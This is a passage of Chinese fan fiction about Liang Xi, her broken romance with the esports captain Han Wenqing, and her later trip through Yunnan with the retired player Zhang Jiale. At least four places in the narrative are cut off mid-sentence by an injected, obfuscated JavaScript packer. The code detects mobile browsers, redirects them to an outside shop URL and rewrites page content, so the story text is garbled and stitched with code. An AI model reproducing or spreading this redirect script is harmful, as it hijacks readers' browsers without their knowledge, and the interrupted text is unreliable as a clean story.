她看了他一眼,没说话。 “梁夕,”他开口,声音干涩,“我们……” 他闭了闭眼,“——结束吧。” 梁夕脸上那点强撑的平静和期待瞬间碎裂。她先是愣住,像是没听清,然后瞳孔猛地收缩,死死盯着他:“你说什么?” 韩文清没有重复,只是沉默地站在那里。 “前两天……”梁夕的声音开始发抖,带着难以置信的荒谬感,“前两天你不是还说,要一起想办法吗?韩文清,你变卦变得是不是太快了点?” 她上前一步,试图抓住他的胳膊,却被他微微侧身避开。 她忽然明白了什么,眼神锐利起来,带着质问:“我爸又找你了是不是?他又跟你说什么了?啊?他又用什么话压你了?” 韩文清终于抬眼看她,那双总是坚毅沉静的眼睛里,此刻翻涌着痛苦和决绝。但他开口时,语气却平静得可怕,将所有的挣扎和动摇都锁死在深处: “梁夕,”他说,“这是我的决定。” “你的决定?”梁夕笑了,笑声尖利刺耳,眼泪却不受控制地滚落,“你的决定就是听我爸的,当个缩头乌龟,然后把我们之间的一切都抹掉?韩文清,你敢看着我的眼睛说,这是你真心想要的吗?!” 韩文清的喉结剧烈滚动了一下,他看着她泪流满面的脸,看着她眼中熊熊燃烧的愤怒和绝望,心脏像是被一只无形的手攥紧。他几乎要脱口而出否认,几乎要再次将她拥入怀中。 但梁父在茶馆里说的那些话——“戳脊梁骨”、“舆论压力”、“对她好”——像冰冷的潮水,瞬间淹没了那短暂的冲动。 他强迫自己移开视线,声音更低,也更冷硬:“是。” 这个字,彻底击垮了梁夕。 她没有再哭闹,也没有再质问。她只是用一种完全陌生、冷得刺骨的眼神,看了他最后一眼,然后转身,“砰”地一声,狠狠甩上了房门。 那之后,是梁夕近乎决绝的反击和逃离。 她冲到她父亲的公司,直接闯进办公室,对她父亲嘶吼:“你跟他说什么了?!你就这么看不得有人对我好是不是?!你不关心我,你也不让别人关心我吗?!爸,你就想看我一个人是不是?!行,我成全你们!” 她迅速行动,不惜支付违约金,放弃了原本已经签好三方协议,放弃了位于Q市的待遇优渥的工作,以最快的速度联系了S市的公司,拿到了录用通知,然后头也不回地离开了家,离开了Q市,也离开了有韩文清的一切。 她拉黑了她父亲和韩文清所有的联系方式,只保留了韩文清母亲的电话和微信。对于这位继母偶尔发来的关心询问,她会回,但永远只有寥寥几个字——“嗯”、“还好”、“知道了”、“不用”。 临近年关,韩文清母亲打来电话,声音一如既往的温和,带着小心翼翼的试探:“小夕,什么时候放假?哪天回来?” 梁夕正在租住的小公寓里加班,窗外是陌生的城市霓虹。她沉默了几秒,回答:“阿姨,今年事情多,不一定能回来。” “那怎么行?”韩母的语气有些着急,“你们公司再忙,年三十肯定得放假啊。最晚年三十回来,行吗?一年到头,总得回家过个年。” 梁夕听着电话那头的声音,想起继母这几年虽然疏淡但也算真诚的对待,终究还是心软了一丝。她闭了闭眼,妥协道:“……好。” 她在心里盘算着行程:年三十下午到家,初一拜年,初三上午去看望姥姥那边,晚上立刻飞走。一天都不多待。 年三十下午,拖着行李箱推开家门,来开门的是韩文清。 四目相对。 韩文清似乎想伸手接过她的行李箱,梁夕却像被烫到一样,猛地将箱子往自己身后一拉,侧身避开他。她沉默地换鞋,然后径直走向客厅,凑到正和亲戚聊天的奶奶身边,亲热地挽住奶奶的胳膊,自始至终,没看韩文清一眼,也没看坐在另一边沙发上、神色复杂的父亲。 年夜饭吃得热闹又别扭。梁夕只和奶奶、小辈以及继母说话。有人提议玩麻将,她被拉上桌。几圈下来,她赢得毫无悬念——因为韩文清一直不动声色地给她喂牌。 她越打脸色越冷,终于在一次韩文清又打出一张她显然需要的牌时,猛地将面前的牌一推:“不玩了,没意思。谁来?” 她的小叔笑着过来接手:“赢了还觉得没意思?小夕这位置风水好,我也来沾沾手气。” 守岁,吃饺子,梁夕一直保持着礼貌的微笑。零点过后,回到他们那个“家”,她直接进了自己房间反锁上门,隔绝了外面所有的声音。 第二天大年初一,她跟着家人走街串巷拜年。韩文清作为小有名气的电竞选手,被不少亲戚家的孩子拉住合影签名。往年这个时候,梁夕总会在一旁调侃他“韩队排场大”,或者故意挤兑他两句。今年,她只是安静地站在稍远的地方,看着手机,或者和老人说几句话,仿佛那些热闹与她无关。亲戚们还夸她:“小夕工作了就是不一样,沉稳了,不像以前咋咋呼呼的。” 初二,她一大早就出了门,在电影院买了从早到晚连场的电影票,把自己扔进黑暗的影厅里,用虚构的光影填满一整天的空白,直到晚上送年仪式前才回家,帮忙包饺子。 “小夕,”韩母擀皮的时候忽然开口,声音轻轻的,“跟你爸吵架了?” 梁夕包饺子的手顿了一下,没抬头:“……嗯。” “你爸这人,嘴笨,不会说话,”韩母叹了口气,“但心里其实挺关心你的。我每次给你打完电话,他都要来问一问,怕你一个人在外面不安全,钱够不够,有没有人照顾。” 她看了看梁夕没什么表情的侧脸,继续说,“你说你,之前不是已经定好了在家这边工作吗?怎么就非得跑那么远?一个人在外边,多辛苦。” “阿姨,”梁夕打断她,声音平静无波,“你别管了。” 韩母张了张嘴,最终没再说什么,只是又叹了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“安全?”梁夕回头,眼神里充满了讽刺,“韩文清,你现在来担心我的安全了?当初你决定结束的时候,怎么没想过我心里安不安全?现在装什么好人?” 她用力甩开他的手,力道之大,让韩文清猝不及防松了手。她跳下车,从后备箱拽出自己的行李箱,重重关上后备箱盖。 然后,她拉着箱子,走到驾驶座窗外,隔着玻璃,看着里面那个她爱过、也恨过、此刻表情痛苦而复杂的男人。 她弯下腰,凑近车窗,声音不大,却字字清晰地砸进韩文清的耳朵里: “韩文清,你知道吗?” “我现在最后悔的事,就是当初信了你的鬼话。” “你说你喜欢我,喜欢得快疯了。” “我现在才明白,你那点喜欢,廉价得要命。连我爸几句话都扛不住。” 她直起身,拉着行李箱,头也不回地走向路边,伸手拦出租车。 韩文清僵在驾驶座上,看着后视镜里的出租车汇入车流。握在方向盘上的手,因为用力而泛白。 心脏的位置,空荡荡的,冷风飕飕地往里灌。 她最后那句话,像一把烧红的烙铁,狠狠烫在了他灵魂最深处。 10. 偶遇 时间是最擅长打磨和掩盖痕迹的工匠。 最初那几年,回家过年对梁夕而言,不亚于一场小型战役。她需要调动全部的意志力,才能维持住表面的平静和那份刻意拉开的距离。 她对父亲的称呼,从沉默到偶尔一声硬邦邦的“爸”,算是艰难的和解第一步,但也仅此而已。父女之间隔着厚厚的冰层,所有的交流都简短、必要,且浮于表面。 而对韩文清,她的处理方式更加彻底,也更具象征意义——她开始叫他“哥”。 不是儿时那种带着点依赖和炫耀的“我哥”,也不是后来那些暧昧涌动、心照不宣的沉默,更不是曾经情浓时带着撒娇意味的直呼其名。 是字正腔圆、清晰无比、不带任何多余情绪、仅仅表明一种苍白社会关系的“哥”。 每一次她这么叫,韩文清的身体都会几不可察地僵硬一下。但他从不应声,只是沉默地接受,或者移开视线。他们之间,除了这声称呼和必要的家庭场合下的点头致意,再无其他。她不主动与他交谈,如果他问起什么,她的回答永远简洁到吝啬,是或不是,好或不好,寥寥数语,便将对话终结。 她把所有的精力和情绪,都投掷在了那座远离家乡的、繁华而冷漠的S市。工作成了她最好的铠甲和麻醉剂,她从新人迅速成长,站稳了脚跟,忙碌是常态。 周末和假期,她发展出了许多新的爱好,或者说,新的逃避方式。她会去看展,从古典艺术到先锋装置;会走进剧场,看话剧,听脱口秀,在别人的悲欢和笑声里暂时忘却自己;偶尔太累,或者某个难以言说的情绪涌上心头时,她会去熟悉的酒吧,坐在角落,安静地喝上两杯,看着舞池里晃动的人影,直到微醺,然后独自打车回家。 生活看起来充实而独立,甚至带着点都市精英的洒脱。只有她自己知道,心里某个角落,始终是空的,风吹过时,会发出空洞的回响。 工作的第四年秋天,荣耀职业联赛进入第八赛季。梁夕不再像最初两年那样,还会下意识地关注霸图的赛程和战绩。她彻底将自己剥离出了那个世界。她向公司申请了一个月的长假,没有告诉家里任何人具体去向,只简单说了句“出去走走”,然后背起行囊,飞向了云南。 第一站是喧嚣的丽江,她在古城里走了两天,感受着扑面而来的商业气息和游客喧嚣,觉得索然无味,很快转战大理。 她特意避开热闹的古城,在洱海边找了一家清净的民宿,房间有个小小的阳台,正对着洱海。她想要的就是无所事事,每天睡到自然醒,然后在阳台上,或者洱海边随便找个地方,一坐就是一整天,看云卷云舒,看光影在水面变幻,脑子里什么都不想,任由各种思绪碎片飘过,不去捕捉。 住进来的第二天,她注意到民宿院子里的另一个长期住客。是个年轻男人,气质有点特别,不像寻常游客,也总是独来独往,大部分时间也跟她一样,不是在房间阳台,就是在公共区域的露台上,对着洱海发呆,脸上没什么表情,眼神放空,不知道在想什么。 梁夕觉得这人有点眼熟,但没太在意。世界上长得像的人多了去了。 第一天,两人隔着露台,各自占据一角,互不打扰。 第二天下午,梁夕泡了一壶民宿提供的普洱,看着对面那个依旧在发呆的男人,心里莫名动了点恻隐——或许是因为同样无所事事的磁场,或许是他身上那股挥之不去的、淡淡的落寞感,跟她自己有点像。她倒了一杯茶,走过去,放在他旁边的矮几上,什么也没说,又回到了自己的位置。 男人似乎愣了一下,看了看那杯茶,又抬眼看了看她。梁夕已经转回头,继续看着远处的苍山。他也没客气,端起来,慢慢喝了。 第三天,轮到男人泡了茶。他用的似乎是自己带的茶叶,香气更清冽一些。他也倒了一杯,走过来,放在梁夕手边。 “出来玩?”他开口,声音不算热络,带着点随意,目光落在洱海上。 梁夕端起茶杯,闻了闻,喝了一口,口感不错。 “嗯。”她应了一声。 “玩多久?” “一个月吧。” “有什么计划?” 梁夕扯了扯嘴角:“没计划。走到哪算哪。” 那人听了,似乎笑了一下,很淡,转瞬即逝:“继续找个地方发呆?” 梁夕侧头看了他一眼,他轮廓清俊,鼻梁挺直,眼尾微微上挑,此刻没什么精神,显得有点懒散。 “也可能不发呆。”她说。 “普者黑去吗?”男人忽然提议,也转过头来看她,“比这好看点,这个时候人少,清净。” 梁夕有些意外他这么直接地发出邀请。她打量着他,那双眼睛虽然带着倦意,但很干净,没什么猥琐或算计的神色。她心里飞快地盘算了一下,普者黑确实在她模糊的备选清单上。 “什么时候走?”她问。 对方似乎也没想到她问得这么干脆,掏出手机查了查:“明天?高铁还有票。” 梁夕点点头:“行。” 这下轮到男人诧异了,他挑了挑眉,语气带了点调侃:“这么爽快?不怕我把你卖了?这离缅甸可不远。” 梁夕终于正眼仔细看了他两秒,然后收回目光,语气平淡,却吐出一句让对面的人瞬间僵住的话: “哦,百花大神不打荣耀,改做电诈业务了?” 男人,或者说,张佳乐,脸上的慵懒和调侃瞬间凝固,他猛地坐直身体,眼睛瞪大,像是见了鬼一样盯着梁夕:“你……认识我?” 梁夕慢条斯理地又喝了口茶,这才不紧不慢地开口:“以前看过比赛,名气挺大。不过你应该去三亚玩,更适合你。” 她语气平平,甚至没什么起伏,但“三亚”这两个字被她咬得清晰无比,带着一种礼貌又扎心的精准。 张佳乐的表情从震惊转为错愕,随即是明显的郁闷和无语。他当然听懂了这“三亚”指的是他职业生涯那悲催的三个亚军,这简直是往他心窝子里最疼的地方精准撒盐。 他嘴角抽搐了一下,最后翻了个大大的白眼,没好气地嘟囔道:“长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529148|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺好看一姑娘,怎么说话这么戳人心窝子呢……” 梁夕没理会他的吐槽,放下茶杯,站起身,拍了拍身上不存在的灰尘,调出微信二维码:“明天几点的高铁?票买了发我微信。” 张佳乐下意识地扫码,好友申请发出去了又觉得好像不对劲。他堂堂职业大神,虽然退役了,但就这么被人——还是个嘴巴挺毒的陌生人——这么理所当然地支使,也太没面子了。。 “喂!”张佳乐在她身后提高了声音,带着点难以置信,“我还没答应跟你一起走呢!而且你就这么使唤人?” 梁夕脚步没停,头也没回,只是摆了摆手:“那你继续在这儿对着洱海缅怀你的‘三亚’之旅吧,大神。我自己去。” “缅怀”这个词用得真是刁钻。 张佳乐被她噎得一口气差点没上来,看着她毫不留恋走向楼梯口的背影,又低头看看手边那杯已经凉透、却莫名有点回甘的茶,最终烦躁地“啧”了一声,还是认命般地拿起了手机,一边戳着屏幕查票,一边嘴里念念有词:“什么人啊这是……哪壶不开提哪壶……三亚怎么了?三亚也是实力!多少人想拿还拿不到呢……” 话虽这么说,他查票和下单的动作却没停。洱海的风依旧温柔地吹着,远处苍山顶上的云层被夕阳染成一片绚烂的金红色,将湖面也映照得波光粼粼,泛着暖意。 梁夕回到自己房间,关上门,背靠着门板,静静站了一会儿。房间里很安静,能听到远处隐约传来的游客笑语和风吹过檐角风铃的细碎声响。然后,她走到阳台上,看着那片逐渐沉入暮色、却依旧壮丽的晚霞,嘴角轻轻向上弯了一下。 遇见张佳乐,纯属意外。 认出他,更是意外中的意外。 她对荣耀职业圈的关注早已停滞在多年前,但“张佳乐”和“三亚”这个组合,实在太过经典,以至于在看清他侧脸、结合那身挥之不去的“我很烦但我懒得动”的气质时,记忆的某个角落自动弹出了相关信息。 她没兴趣探究这位前大神为何独自在此面壁思过,就像她也不想被任何人探究自己的过去一样。只是普者黑,恰好在她模糊的备选清单上,而一个人走和两个人走,对她来说,区别不大。 至于他是谁,曾经有过怎样的辉煌和失意,都与她无关。她只是一个暂时逃离了过往,在路上遇见的、恰好可能同路一段的陌生人。 仅此而已。 手机震动了一下,她拿起来看,是一张电子车票的截图。 梁夕回了一个“好”,转头买了同一班车次,开始收拾不多的行李。 窗外的天色,彻底暗了下来,洱海变成了一片深邃的墨蓝,只有零星的渔火和远处古城的灯光,星星点点地亮着。 新的目的地,新的同行者,新的未知。 似乎……也不坏?至少,比一个人发呆,多了点……看人跳脚的乐趣。 梁夕漫不经心地想着,将叠好的衣服放进行李箱。 夜幕降临,大理的晚风,似乎比白天,多了一丝微凉的畅快。 11. 同行 普者黑的景色与洱海截然不同,少了那份开阔的苍茫,多了几分水墨画般的清秀与田园诗意。 张佳乐推荐的民宿坐落在青龙山对面,环境幽静,一栋白墙灰瓦的小楼,掩映在绿树与稻田之间。房间有整面的落地窗,窗外便是大片金黄的稻田,一直延伸到远处的湖泊。 荷花季已过,只剩下些残荷,但水鸟成群,偶尔有牧童牵着水牛慢悠悠地走过田埂,时间在这里仿佛被拉长、放慢。 抵达时已是傍晚,夕阳将稻田染成更加浓郁的暖金色,湖面泛起粼粼波光。两人办了入住,各自安顿。晚餐就在民宿一楼的小餐厅解决,老板是当地人,手艺地道,几样家常菜做得香气扑鼻。 等菜的时候,梁夕托着下巴,望着窗外渐渐沉入山峦的落日,眼神有些放空。自从认出张佳乐,这位前大神似乎也懒得再维持那份生人勿近的距离,话明显多了起来。 “怎么样,不错吧?”张佳乐靠在椅背上,顺着她的目光也看向窗外。 梁夕收回视线,点了点头:“的确不错。” 比大理那家更有野趣。 菜陆续上桌,简单的清炒时蔬、汽锅鸡、还有一道当地特色的荷花鱼。味道确实很好,食材新鲜,烹饪得恰到好处。 两人一边吃,一边有一搭没一搭地聊着。主要是张佳乐在说,介绍云南的风土人情,哪里好玩,哪里坑多,俨然一副半个地主的模样。 “对了,”张佳乐夹了一筷子鱼肉,像是忽然想起来,“还没问你叫什么。” “梁夕。” “哪个xi?小溪的溪,可惜的惜,还是茜茜公主的茜?”张佳乐饶有兴致地追问。 “夕阳的夕。”梁夕回答得简洁。 “哦。”张佳乐点点头,似乎还想问点什么,比如从哪来,做什么工作之类的常规问题。 但梁夕没给他这个机会。她放下勺子,抬眼看向他,问出一个更直接的问题:“你退役了?” 张佳乐夹菜的动作顿了一下,随即若无其事地将菜送进嘴里,嚼了几下才含糊地应了一声:“是啊。” “因为三亚?”梁夕的语气没什么变化,仿佛只是单纯的好奇。 张佳乐差点被那口菜噎住,他放下筷子,拿起水杯灌了一大口,才瞪着梁夕,表情有些郁闷又有些无奈:“喂,我说梁夕同学,你怎么……怎么老是哪壶不开提哪壶啊?” 三亚这个梗,看来是过不去了。 梁夕微微歪了下头,似乎真的在思考这个问题的重要性:“就是好奇。冠军……就那么重要?” 她的声音很轻,不像嘲讽,更像是一种探询。 张佳乐沉默了几秒,脸上的轻松之色褪去了一些。他望向窗外已经完全暗下去、只剩下零星灯火的田野,声音也低了一些。 “没有的话……就重要吧。也不是说非要那个冠军不可,就是……觉得能摸到,离得很近,所以总会心有不甘。” 他顿了顿,自嘲地笑了笑,“可能人就是这样,越是得不到的,越觉得是执念。” 梁夕听着他的话,眼神微微飘远。她想起荣耀第三赛季,霸图在总决赛被嘉世挡在冠军门外。那是韩文清离冠军最近的一次。赛后,他将近三天没怎么说话。她当时能逼他承认喜欢,逼他做一些……出格的事,未必没有他输了比赛、心情极度恶劣、急需一个情绪出口的原因。 冠军,对韩文清来说,意味着什么?是证明,是责任,还是……一种必须达成的目标? 她收回思绪,看着对面略显落寞的张佳乐,忽然开口:“你……没去算算,命里到底有没有冠军?或者,去拜一拜?” 张佳乐被她这神来一笔惊得猛地转回头,眼睛都瞪圆了:“哈?算……算命?拜拜?” “你这什么封建迷信思想!冠军是打出来的,是拼出来的!跟命有什么关系?!” 他音量不自觉地提高,引得旁边几桌的客人侧目。 梁夕却依旧平静,甚至微微挑了挑眉:“哦?那你怎么解释你总是差一点?” 她顿了顿,补充道,“三次哦。” “我——”张佳乐被噎得说不出话,脸都憋红了,最后只能愤愤地拿起筷子,用力戳着碗里的米饭,“算了,不跟你说了!吃饭吃饭!” 梁夕看着他气鼓鼓的样子,嘴角弯了一下,不再说话,也安静地继续用餐。 窗外的夜色完全笼罩了这片田园,虫鸣声渐渐响起,显得餐厅里更加安静。只有碗筷轻微的碰撞声,和远处隐隐传来的电视声。 这个叫梁夕的女孩,话不多,但每一句都像小刀子似的,专往人心里最软最疼的地方扎。张佳乐一边戳着饭,一边偷偷瞄了她一眼。她正安静地喝着汤,侧脸在暖黄的灯光下显得柔和了一些,但眼神依旧疏离平静,仿佛刚才那些诛心之言不是她说的一样。 真是……奇特的旅行搭子。张佳乐在心里嘀咕,却莫名觉得,有她在,这趟原本可能更加沉闷的散心之旅,似乎没那么无聊了。 第二天清晨,普者黑的薄雾尚未完全散去,空气里满是湿润的草木清香。民宿的早餐果然如张佳乐所说般丰富,尤其是那碗地道的小锅米线,汤头浓郁,配料扎实,让人胃口大开。 张佳乐显然已经对此地相当熟悉,早早坐在了餐桌旁,看到梁夕下楼,立刻热情地招手:“这边!强烈推荐米线,老板的独门秘方,保证不虚此行!” 他似乎已经完全进入了美食推荐官兼临时导游的角色,昨晚那点小郁闷早就抛到了九霄云外。 梁夕坐下,也要了一碗米线——汤色清亮,铺满了肉末、酸菜、豆芽和花生碎,还卧着一个金黄煎蛋的米线——看着确实很有食欲。 她尝了一口,汤鲜味美,米线爽滑。对面的张佳乐则显得随意得多,穿着民宿提供的简易拖鞋,T恤领口有些松垮,坐姿也透着一股懒散,正拿着筷子,毫不客气地将小菜里的花生米精准地一颗颗夹进自己碗里,然后大口吸溜着米线,发出满足的喟叹。 吃完早餐,梁夕端了杯清茶,坐到小院里对着稻田和水牛继续她的发呆事业。民宿老板贴心送上一盘当地水果,蓝莓,人参果,无花果,还有几个小橘子。 不一会儿,张佳乐也端着自己的茶杯,趿拉着拖鞋晃悠出来。他在梁夕旁边的藤椅上一屁股坐下,双腿随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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梁夕抬眼看他,眼神里带上一丝微妙的笑意:“大神也这么八卦?” 张佳乐被她看得有点不自在,摸了摸鼻子,强行解释道:“咳……旅途无聊,随便聊聊嘛。” “你对叶神评价这么差,不会是因为他……挡了你的冠军吧?” 张佳乐脸上的表情瞬间凝固,然后垮了下来,几乎是哀怨地喊道:“喂!梁夕!你能不能别老提这茬!天又被你聊死了!” 看着张佳乐那副抓狂又无可奈何的样子,梁夕这次是真的笑了。虽她没再说话,重新将视线投向稻田和水牛。 院子安静下来,只有远处偶尔的鸟鸣和水牛甩尾巴驱赶蚊蝇的声音。阳光渐渐强烈,驱散了雾气,将一切都照得更加清晰明亮。 过了一会儿,梁夕忽然轻声问,更像是在问自己:“你觉得……这些水牛开心吗?每天就在这里吃草,晒太阳。” 张佳乐正跟一个橘子皮较劲,闻言抬头,看了看那些悠闲的水牛,又看了看身旁安静得有些过分的梁夕。她侧脸在阳光下显得清晰而沉静,眼神却像隔着一层薄雾,看着近在咫尺的田园,又仿佛在看很远的地方。 他剥开橘子,掰了一瓣塞进嘴里,酸甜的汁水在口腔里炸开。“看着反正比你开心自在。” 12. 爬山 张佳乐那句“看着反正比你开心自在”说完,自己先愣了一下。这话听着有点刺,但仔细咂摸,好像又带了点别的意味,像是……一点不明显的关切? 他有点懊恼,觉得自己是不是又说错话了,这姑娘看着平静,但心思明显重,别再给人惹毛了。 梁夕听了,却没像之前那样反唇相讥或者沉默以对。她依旧看着那些水牛,半晌,才轻轻“嗯”了一声。 张佳乐反而有点不习惯了。他三两下吃掉剩下的橘子,拍拍手,没话找话:“你接下来真没计划?就在这儿对着牛看一个星期?” 梁夕终于转过头,看了他一眼:“你有?” “我?”张佳乐摊手,“我本来也就是瞎逛,走到哪算哪。不过……” 他眼珠转了转:“普者黑这地方,光坐着看也太浪费了。要不要……去划船?” “划船?” “对啊,这里不是号称山水小桂林吗?坐那种小木船,在喀斯特地貌的山水之间穿行,比在这儿干坐着强。”张佳乐试图推销,“我打听过了,民宿老板就能帮忙联系,人少,清净,不比那些旅游团扎堆的地方。” 梁夕想了想,似乎觉得这个提议比继续发呆多点意思。 “行。”她答应得依旧干脆。 张佳乐立刻来了精神,跑去跟老板沟通。没多久就搞定了,一条小木船,一个当地的船工,下午出发。 下午的普者黑果然没有让人失望。小船悠悠荡荡穿行在清澈的河道中,两岸奇峰罗列,倒映在水中,宛如一幅流动的画卷。水草丰美,偶尔有水鸟掠过。船工是个话不多的当地人,只在他们询问时才简单介绍两句。大部分时间,只有桨声欸乃和水波轻响。 张佳乐显然很享受这种氛围,靠在船边,时不时指着某座形状奇特的山峰让梁夕看。梁夕也放松了许多,不再像之前那样紧绷,她靠在另一侧,偶尔伸手拨弄两下河水。 “怎么样,比坐着发呆好不少吧?”张佳乐眼角眉梢带着得意。 “嗯。”梁夕点头,这次带了点真心的赞许。 张佳乐笑了,露出一口白牙:“那是!出来玩嘛,就得动起来,看看不一样的风景。” 两人之间那种略带针锋相对又彼此试探的气氛,在山水之间似乎缓和了不少。至少,张佳乐觉得,梁夕身上那种生人勿近的冷硬感,淡了一些。 划完船回来,已是傍晚。夕阳给群山镀上一层金边,民宿的小院里飘出饭菜的香气。 晚饭时,张佳乐的话明显更多了,从今天的见闻,扯到自己以前在各地比赛或游玩的趣事,甚至吐槽了一些圈内不为人知的琐碎。梁夕大部分时间静静听着,偶尔在他过于夸张时,会不咸不淡地刺一句,但不再像之前那样句句往心窝里捅。 “你以前……”张佳乐喝了口汤,状似随意地问,“看比赛的时候,最喜欢哪个地图场景?” “枫林栈道。”那是荣耀早期一个经典的PVP地图,以深秋的林木和复杂的栈道地形著称,战术变化多。 张佳乐有些意外:“哟,看来还是个技术流观众?喜欢复杂地形博弈?” 梁夕没否认,也没多解释。她喜欢枫林栈道,是因为当年韩文清在那个地图上打过一场极其精彩的逆风翻盘局,她印象深刻。当然,这没必要说。 “那你觉得,现在的比赛,跟以前比怎么样?”张佳乐又问,带着点退役选手特有的、对时移世易的感慨和好奇。 梁夕沉默了一下。她已经很久没认真看过一场完整的荣耀比赛了。偶尔在社交平台或新闻推送里扫到相关消息,也会下意识地快速划过去。 “不知道。”她最终如实回答,“很久没看了。” 张佳乐看着她平静的侧脸,忽然意识到,这个女孩对荣耀的了解,似乎停留在了某个过去的时刻,连带着那份喜欢,也一起停留在了那里。他识趣地没有再追问。 晚饭后,两人各自回房。梁夕洗完澡,拿出手机,习惯性地刷了刷,手指在某个熟悉的、被她设置了不显示动态却也没有删除的头像上停留了片刻,然后迅速滑过。 她点开天气预报,看了看未来几天普者黑的天气。 窗外的夜空,星河低垂,清晰得不像话。 张佳乐在隔壁房间,正跟以前战队的老朋友在微信群里瞎聊,有人问他跑哪逍遥去了,他回:普者黑,面朝稻田,思考人生。 朋友嘲笑:你思考出个啥了?明年复出拿冠军? 张佳乐发了个翻白眼的表情包,没接这茬。退出群聊后,他看着窗外同样的星空,脑子里却莫名闪过白天梁夕坐在船边看风景的侧影。安静,疏离,又好像藏着很多故事。 他摇了摇头,把手机扔到一边。 第三天吃过早餐,张佳乐主动提议:“今天天气好,去爬青龙山怎么样?就在对面,山顶能看到普者黑全景,视野绝佳。” 他兴致勃勃,像个尽职的本地向导。 梁夕没什么意见,点头同意。 青龙山并不算高,民宿老板说只有一百来米,好爬的很。 梁夕当时信了。 结果没想到,这个一百来米是垂直的一百米。 石阶蜿蜒,在山林间忽隐忽现。前十分钟她还勉强维持着体面,脚步虽慢但节奏平稳。张佳乐走在她前面不远处,时不时回头看她一眼,问一句“还行吗”,她点头,没说话——说话浪费氧气。 到了第十五分钟,她的呼吸开始变重,运动裤的后腰已经被汗水浸湿了一小块。张佳乐在上面的转角处停下来等她,手里拿着一瓶水,拧开了递过去。 她接过来,喝了一小口,没还给他,拿在手里继续往上走。第二十分钟,台阶变得更陡,腿开始发酸,梁夕开始后悔——我为什么不在民宿躺着继续发呆。 前面有个旅行团,团友大概和她一样平时没什么运动习惯,一路问了导游无数次“到了吗”,导游举着小旗子在喊“马上就到了,再坚持一下”,声音轻快得像在哄小孩。梁夕听着旁边人唉声叹气,心里又有点想笑:人类的欢喜也许并不相通,但痛苦可能是相通的。 第二十五分钟,她终于看到了观景台的影子。张佳乐伸手拉了她一把,她也没客气,借力迈上最后几级台阶,走到观景台边缘。风迎面吹来,带着水汽和草木的气息,她大口呼吸着,觉得肺终于重新开始工作了——之前那二十多分钟它好像一直处于罢工状态。 休息了一会,张佳乐凑过来:“山顶还有更高的观景台,要不要继续?” 梁夕看了看他,又看了看继续往上的石阶。 “去。”都到这了,她骨子里也有那么点不服输的精神。 两人一前一后,约莫又花了十来分钟登顶。山顶果然视野开阔,整个普者黑的山水田园尽收眼底,湖泊如镜,稻田如毯,夹杂在云雾里,美得如同一幅水墨画卷,比她预想的要好看。张佳乐说起以前战队集训时爬山的糗事,梁夕听着,嘴角偶尔会微微上扬。 “去不去寨子里转转?”他指着稍远处一片村落,“仙人洞村,说是文山最美民族村。老板说挺原生态的。” 梁夕看了他一眼。她的腿还在打颤,气刚喘匀,张佳乐倒是神清气爽,像只精力过剩的大型犬。但看着他那副“快答应快答应”的期待表情,还是点了头。 环湖的风从耳边呼啸而过,把梁夕的头发吹得满天飞。张佳乐骑着一辆边三轮,梁夕坐在挎斗里,腿伸不直,屁股底下垫着他从民宿顺来的坐垫,整个人被颠得像在筛糠。 这辆边三轮是民宿老板的私藏,军绿色漆面斑驳,边斗的皮座椅裂了几道口子。张佳乐一眼相中,软磨硬泡了十分钟才借到手。 “慢点。”梁夕被颠得声音都在抖。 “已经很慢了!”张佳乐在旁边喊,风把他的声音吹得断断续续,“这个路不平,我也没办法啊!” 环湖道的风景确实好。左侧是波光粼粼的湖面,偶尔有白鹭从水面掠过,翅膀在阳光下闪着光。如果不考虑屁股的感受,这条路的风景可以打九分。 仙人洞村比他们预想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529150|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的安静。车子停在村口,张佳乐跳下车,伸手来扶她。梁夕的腿被颠得有点发麻,扶着边斗的边缘站起来,活动了一下脚踝。 往里走,青石板路被脚步磨得光滑,两侧是红砖墙的三层小楼。和那些被过度商业化的古镇不同,这里没有那么多的小商品和网红奶茶店。老人们坐在门口晒太阳,小孩子在巷子里追逐打闹。几个穿着彝族服饰的年轻女孩从他们身边走过。 “阿诗玛,”张佳乐目送那几个女孩走远,“阿诗玛是姑娘的意思,阿黑哥是小伙子。” 路过一间半掩着门的老房子时,梁夕停下了脚步。门口挂着一块手写的木牌——“彝家传习所”,字迹端正,墨色有些褪了。门内传出说话声,不是广播那种,是人在讲解。张佳乐凑过去往里张望,然后回头朝她招手,压低声音:“进来进来,有人讲呢。” 屋子不大,光线从木窗棂透进来,在石板地面上投下明晃晃的光斑。墙上挂着几幅装裱过的彝绣,还有一些老照片和手写的介绍板。 